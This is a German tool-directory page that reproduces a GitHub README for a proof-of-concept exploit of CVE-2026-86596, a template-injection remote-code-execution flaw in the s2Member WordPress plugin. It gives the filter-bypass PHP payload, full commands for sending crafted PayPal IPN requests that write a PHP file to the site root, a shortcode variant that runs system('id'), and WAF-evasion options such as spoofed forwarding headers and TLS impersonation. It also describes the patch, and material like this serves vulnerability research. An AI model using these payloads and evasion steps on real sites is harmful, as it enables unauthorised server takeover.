Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
cve-2026-86596-poc — CVE-2026-86596 s2Member <= 260927 Template-Injection-PoC (Laborumgebung; IPN-Verifizierung erforderlich) | Kitploit
Tools/GitHubGitHub/thiscitze/cve-2026-86596-poc
Payload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationWAF-UmgehungWebsicherheitRemote-Access-ToolLabs & Praxis
GitHubthiscitze/cve-2026-86596-poc

cve-2026-86596-poc

CVE-2026-86596 s2Member <= 260927 Template-Injection-PoC (Laborumgebung; IPN-Verifizierung erforderlich)

Repository anzeigen
113vor 2 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-86596 PoC

Einzeldatei-Python-PoC für die Template-Injection-RCE in s2Member <= 260927.

Was es zeigt

Der verwundbare Code:

$paypal = strip_php_tags_deep($paypal);          // removes only literal '<?'
$msg = preg_replace('/%%item_name%%/i', esc_refs($paypal['item_name']), $msg);
...
$msg = trim(preg_replace('/%%(.+?)%%/i', '', $msg));

Payload:

<%%x%%?php echo 'CVE-2026-86596'; ?>

strip_php_tags_deep() lässt ihn unangetastet, da kein literales <? vorhanden ist. Die Ersetzung von %%item_name%% fügt ihn ein; die abschließende Bereinigung durch %%(.+?)%% entfernt %%x%% und hinterlässt einen gültigen <?php-Opener.

Modi

Ein Befehl

python3 poc.py https://wordpress.lab

Das ist der gesamte Ablauf:

  1. Versionsprüfung,
  2. Offline-Injektionsnachweis,
  3. präparierter IPN-POST,
  4. schreibt cve_test.php mit @thiscitze in das WordPress-Stammverzeichnis,
  5. ruft https://wordpress.lab/cve_test.php ab und verifiziert den Marker.

Wenn die ID des geschützten Beitrags/der geschützten Seite nicht 1 ist:

python3 poc.py https://wordpress.lab --item-number 123

Wenn .php blockiert ist, schreibe einen reinen Textmarker:

python3 poc.py https://wordpress.lab --filename cve_test.txt

Wenn die Website einen Proxy-Verifizierungsschlüssel verwendet:

python3 poc.py https://wordpress.lab --proxy-verification "KEY"

Prägnanter Bericht:

CVE-2026-86596 | s2Member template-injection check
target : https://wordpress.lab
item   : 123
run id : 1a0d80
time   : 2026-11-03 12:34:56 UTC

[1/4] Version ............ VULNERABLE (260927)
[2/4] Injection proof ... OK
[3/4] IPN / write test
      1/5 abspath/cve_test.php           HTTP 200
      [+] test file: https://wordpress.lab/cve_test.php | HTTP 200 | marker '@thiscitze' found
[4/4] Trigger ........... skipped

RESULT
  CVE applicable : YES - vulnerable version
  Injection      : OK
  IPN response   : HTTP 200 | HTTP 200; processing not proven
  Test file      : FOUND - https://wordpress.lab/cve_test.php
  Marker         : not checked
  RCE            : CONFIRMED - code execution works
  Run ID         : 1a0d80
  Next           : test file: https://wordpress.lab/cve_test.php

Der Bericht beantwortet drei separate Fragen:

  • CVE anwendbar – liegt die installierte Version im verwundbaren Bereich?
  • IPN-Antwort – hat die Anfrage s2Member erreicht oder wurde sie blockiert?
  • RCE – wurde tatsächlich eine Datei geschrieben / ist der Marker erschienen?

RCE: NOT CONFIRMED bedeutet, dass das Skript keine Codeausführung nachweisen konnte, selbst wenn der HTTP-Status 200 war.

Farbe ist aktiviert, wenn stdout ein TTY ist; erzwingen Sie sie mit --color always oder deaktivieren Sie sie mit --color never.

Wenn das Ziel hinter einer WAF/Challenge steht, versucht das Skript automatisch Anfrageform-Varianten, bevor es aufgibt:

  • multipart/form-data
  • doppeltes item_name (harmlos + Payload)
  • multipart/form-data mit doppeltem item_name
  • X-Forwarded-For / X-Real-IP / CF-Connecting-IP Spoof-Header
  • curl_cffi Browser-TLS-Impersonation (pip install curl_cffi)
  • einen HTTP-Proxy, falls --http-proxy angegeben ist

Optionale Steuerungen:

python3 poc.py https://wordpress.lab \
    --http-proxy http://127.0.0.1:8080 \
    --cookie "cf_clearance=..." \
    --impersonate chrome

--no-evasion deaktiviert die automatischen Varianten. Eine JS-Challenge kann dennoch eine echte Browser-Sitzung oder eine IPN mit PayPal-Ursprung erfordern; Header-Tricks sind kein garantierter Bypass.

Testdatei schreiben

Schreibe eine Testdatei in das WordPress-Stammverzeichnis und überprüfe sie:

python3 poc.py --auto https://wordpress.lab \
    --item-number 123 \
    --write-test \
    --test-url https://wordpress.lab/cve_test.php

Der Payload schreibt cve_test.php mit folgendem Inhalt:

<?php echo "@thiscitze"; ?>

Wenn .php blockiert ist oder nicht benötigt wird, schreibe stattdessen einen Klartext-Marker:

python3 poc.py --auto https://wordpress.lab \
    --item-number 123 \
    --write-test \
    --filename cve_test.txt \
    --marker "@thiscitze" \
    --test-url https://wordpress.lab/cve_test.txt

Die Datei wird nach ABSPATH geschrieben (das WordPress-Dateisystem-Root). Wenn WordPress in einem Unterverzeichnis installiert ist, passe --test-url entsprechend an.

Offline-Nachweis

python3 poc.py --simulate

Erwartet:

[*] after strip_php_tags_deep():
    "<%%x%%?php echo 'CVE-2026-86596'; ?>"
[*] after placeholder cleanup:
    "Thanks Test!\n\n<?php echo 'CVE-2026-86596'; ?>..."
[+] '<?php' opener reassembled

Shortcode-Variante:

python3 poc.py --simulate --shortcode --command "system('id');"

Dies erzeugt [s2If php="system('id');"], das ausgeführt wird, wenn das Template eine do_shortcode() / [s2If php]-Senke erreicht.

Versionsprüfung

python3 poc.py --check https://wordpress.lab

Es liest readme.txt oder s2member.php und vergleicht die Version mit 260927 / 261001.

Lab-IPN-Sender

python3 poc.py --ipn https://wordpress.lab \
    --item-number 123 \
    --payload "<%%x%%?php echo 'CVE-2026-86596'; ?>"

s2Member verifiziert IPNs mit PayPal (POST back) oder einem Proxy-Verifizierungsschlüssel. Ein direkt gefälschter POST wird normalerweise abgelehnt. Für ein Labor:

  • verwenden Sie einen echten PayPal-Sandbox-IPN, dessen item_name die Payload ist, oder
  • geben Sie den Proxy-Verifizierungswert der Website an:
python3 poc.py --ipn https://wordpress.lab --item-number 123 \
    --proxy-verification "<value from the site's button code>" \
    --command "id"

Das Skript gibt die HTTP-Antwort aus und warnt, wenn das Ziel die Verifizierung abgelehnt hat.

Auslöseseite

python3 poc.py --trigger "https://wordpress.lab/thank-you/?..."

Ruft eine Seite ab und sucht nach CVE-2026-86596, das die Payload zurückgibt. Dies ist nützlich, wenn die Tracking-Code-/Shortcode-Senke nach dem IPN gerendert wird.

Voraussetzungen für eine Live-RCE

  1. s2Member <= 260927.
  2. Ein gültiger PayPal-IPN (Sandbox oder echt) oder der Proxy-Verifizierungsschlüssel der Website.
  3. custom muss mit dem Hostnamen der Website beginnen (oder skip_ipn_domain_validation muss aktiviert sein).
  4. Eine gültige item_number für den Pfad „Specific Post/Page“.
  5. Eine Senke, die das gerenderte Template auswertet: Tracking-Codes, die mit do_shortcode() / [s2If php=...] gerendert werden, oder eine benutzerdefinierte Integration, die das Benachrichtigungstemplate per eval ausführt. Der standardmäßige reine E-Mail-Text selbst wird über wp_mail versendet, nicht per eval ausgeführt.

Fix

Aktualisieren Sie auf s2Member 261001 oder höher (aktuell: 261017). Der Fix ersetzt die sequenzielle Interpolation durch fill_paypal_template_once() und bereinigt das Tracking-Ziel auf [A-Za-z0-9 @._-].

Hinweise

  • Dies ist ein Lab-PoC; er umgeht nicht die PayPal-IPN-Verifizierung.
  • Die CVE-Beschreibung sagt „authenticated, custom-level“, während der Titel und der CVSS-Wert (PR:N) „unauthenticated“ sagen. Behandeln Sie sie für die Patch-Priorität als remote/unauthenticated, aber validieren Sie die IPN-/Proxy-Anforderungen in Ihrem Setup.
  • Stand 2026-11-03 existiert kein öffentlicher weaponisierter PoC; dieses Skript demonstriert die Injection und stellt einen echten IPN-Sender für autorisierte Labs bereit.

Referenzen

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-86596
  • Wordfence: https://www.wordfence.com/threat-intel/vulnerabilities/id/bbe64cd3-c5ca-4867-90de-4784510a1126
  • Changeset: https://plugins.trac.wordpress.org/changeset/3722434/s2member
Tool herunterladen